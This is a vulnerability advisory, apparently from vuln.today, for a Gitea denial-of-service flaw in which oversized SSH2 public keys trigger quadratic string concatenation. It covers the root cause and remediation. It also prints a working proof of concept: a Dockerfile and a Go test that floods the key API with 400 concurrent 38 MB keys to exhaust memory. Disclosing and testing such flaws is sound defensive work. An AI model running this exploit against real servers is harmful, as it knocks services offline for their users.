Gitea
CVE-2026-56657
MEDIUM
Severity by source
Network-reachable API, low complexity, any authenticated user (PR:L); impact is total availability loss with no confidentiality or integrity effect.
Estimated by vuln.today — no official severity rating has been published for this CVE yet.
Lifecycle Timeline
2DescriptionCVE.org
Gitea's SSH key ingestion endpoint accepts keys in RFC 4716 (SSH2) format and normalises them before storage. The normalisation function contains an O(N²) string concatenation loop with no input size limit, meaning a single malicious key submission can force the server to perform an amount of work that grows quadratically with the size of the input. Any authenticated user can exploit this to exhaust the server's CPU and memory, taking the instance offline.
Root Cause
An attacker sends a POST /api/v1/user/keys request with a Bearer token and a JSON body whose key field contains a malicious RFC 4716 (SSH2) public key. The key consists of a valid SSH2 header followed by a very large number of short content lines - for example, 400,000 lines of 100 characters each (~38 MB total).
The request reaches CreateUserPublicKey with no prior size check:
https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/api/v1/user/key.go#L201-L212
This calls CheckPublicKeyString which immediately calls parseKeyString. Inside parseKeyString, the SSH2 branch splits the input on newlines and accumulates the key body one line at a time using keyContent += line:
https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/models/asymkey/ssh_key_parse.go#L60-L79
Because Go strings are immutable, each += at line 77 allocates a new backing array and copies the entire accumulated string into it. For N lines the total bytes copied is N*(N+1)/2, making the operation O(N²) in both time and allocations. The validity of the key is only checked after the loop completes, so the entire quadratic work is performed regardless of whether the input is a real SSH key.
This is only possible because neither the web form field nor the API struct carries a size constraint:
https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/forms/user_form.go#L308-L317
https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/modules/structs/repo_key.go#L33-L49
PoC
To reproduce, clone gitea and checkout commit 9155a81b9daf1d46b2380aa91271e623ac947c1e. Then create the following files from the gitea root directory:
poc/Dockerfile
FROM golang:1.26-alpine AS builder
RUN apk add --no-cache git build-base
WORKDIR /gitea
# Download deps in a separate layer so rebuilds are fast after source changes.
COPY go.mod go.sum ./
RUN go mod download
# Copy full source (needed for fixtures, config templates, and compilation).
COPY . .
# Compile the integration test binary.
# modernc sqlite (pure Go, no CGO needed) is the default driver.
RUN CGO_ENABLED=0 go test -c \
-o /integration.test \
gitea.dev/tests/integration
# ── runtime image ────────────────────────────────────────────────────────────
FROM alpine:3.22
# git is required at runtime: the test framework initialises git repos.
RUN apk add --no-cache git
COPY --from=builder /integration.test /integration.test
# Keep the full source at /gitea so runtime.Caller(0) path resolution works
# and fixtures / config templates are accessible.
COPY --from=builder /gitea /gitea
RUN adduser -D -u 1000 poc && chown -R poc:poc /gitea
WORKDIR /gitea
USER poc
ENTRYPOINT ["/integration.test", \
"-test.run", "TestDoSSSHKeyParserOOM", \
"-test.v", \
"-test.timeout", "600s"]tests/integration/poc_dos_test.go
package integration
import (
"fmt"
"runtime"
"runtime/debug"
"strings"
"sync"
"sync/atomic"
"testing"
"time"
auth_model "gitea.dev/models/auth"
api "gitea.dev/modules/structs"
"gitea.dev/tests"
)
func TestDoSSSHKeyParserOOM(t *testing.T) {
defer tests.PrepareTestEnv(t)()
// Raise the GC trigger so intermediate strings accumulate faster,
// matching realistic server behaviour under sustained allocation load.
debug.SetGCPercent(400)
// Log in as an ordinary user - no special privileges needed.
session := loginUser(t, "user1")
token := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopeWriteUser)
const (
numLines = 400_000
charsPerLine = 100
numWorkers = 400
)
var sb strings.Builder
sb.WriteString("---- BEGIN SSH2 PUBLIC KEY ----\n")
sb.WriteString("Comment: dos\n")
line := strings.Repeat("a", charsPerLine) + "\n"
for i := 0; i < numLines; i++ {
sb.WriteString(line)
}
sb.WriteString("---- END SSH2 PUBLIC KEY ----\n")
payload := sb.String()
peakGB := float64(numWorkers) * 2 * float64(numLines) * float64(charsPerLine) / (1 << 30)
t.Logf("payload=%.1f MB workers=%d peak_theory=%.1f GB",
float64(len(payload))/(1<<20), numWorkers, peakGB)
// Each goroutine marshals its own JSON body. The bytes live in req.Body
// for the entire duration of MakeRequest, so numWorkers concurrent
// goroutines hold numWorkers × payload_size bytes simultaneously.
// With numWorkers=400 and payload=38.5 MB: 400 × 38.5 MB = 15.4 GB → OOM.
var (
wg sync.WaitGroup
done atomic.Int64
ready = make(chan struct{})
start = time.Now()
)
for i := 0; i < numWorkers; i++ {
wg.Add(1)
go func(id int) {
defer func() { done.Add(1); wg.Done() }()
<-ready
req := NewRequestWithJSON(t, "POST", "/api/v1/user/keys", api.CreateKeyOption{
Title: fmt.Sprintf("dos-%d", id),
Key: payload,
}).AddTokenAuth(token)
MakeRequest(t, req, NoExpectedStatus)
}(i)
}
go func() {
var ms runtime.MemStats
ticker := time.NewTicker(5 * time.Second)
defer ticker.Stop()
for range ticker.C {
runtime.ReadMemStats(&ms)
t.Logf("[%4.0fs] done=%d/%d HeapSys=%.1f GB HeapAlloc=%.1f GB",
time.Since(start).Seconds(), done.Load(), numWorkers,
float64(ms.HeapSys)/(1<<30), float64(ms.HeapAlloc)/(1<<30))
}
}()
close(ready)
wg.Wait()
t.Logf("all done in %.1fs - container survived, increase numWorkers or numLines",
time.Since(start).Seconds())
}When you run the Dockerfile, it should OOM, however this is highly dependent on the host machine. On my end, I do the following:
docker build -t gitea-dos-poc -f poc/Dockerfile .
docker run --rm --memory=12g --memory-swap=12g gitea-dos-pocWhich prints out:
=== TestDoSSSHKeyParserOOM (tests/integration/poc_dos_test.go:35)
testlogger.go:62: 2026/06/02 14:37:40 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /gitea/tests/gitea-lfs-meta
testlogger.go:62: 2026/06/02 14:37:40 HTTPRequest [I] router: completed POST /user/login for test-mock:12345, 303 See Other in 29.9ms @ auth/auth.go:284(auth.SignInPost)
testlogger.go:62: 2026/06/02 14:37:41 HTTPRequest [I] router: completed POST /user/settings/applications for test-mock:12345, 303 See Other in 17.8ms @ setting/applications.go:36(setting.ApplicationsPost)
poc_dos_test.go:62: payload=38.5 MB workers=400 peak_theory=29.8 GB... demonstrating high memory consumption. On my end, memory is consumed within 1 second.
AnalysisAI
Remote denial-of-service in Gitea versions prior to 1.27.0 allows any authenticated user to crash the server by exploiting an O(N²) string concatenation flaw in the RFC 4716 SSH key parser. Submitting a single crafted SSH2 public key with hundreds of thousands of short content lines forces quadratic heap allocation that exhausts CPU and RAM within seconds, taking the entire Gitea instance offline. …
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires a valid authenticated session or API Bearer token for any Gitea user account - no elevated privileges, administrative rights, or special group membership are needed. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | No official CVSS score was assigned, so risk is assessed from the vulnerability description, exploitation mechanics, and PoC evidence. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker registers or compromises any Gitea user account, then issues a POST request to /api/v1/user/keys with a Bearer token and a JSON body containing a well-formed SSH2 header followed by 400,000 lines of 100-character padding (~38.5 MB total). A single such request triggers the O(N²) allocator in parseKeyString and can consume tens of gigabytes of heap on the server; dispatching a few hundred concurrent requests amplifies the effect to exhaust even well-provisioned servers in under one second. … |
| Remediation | Upgrade to Gitea 1.27.0, which resolves the O(N²) parser flaw. … Detailed patch versions, workarounds, and compensating controls in full report. |
Threat intelligence, references, and detailed analysis are available after sign-in.
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External POC / Exploit Code
Leaving vuln.today
GHSA-4xjf-493q-98p3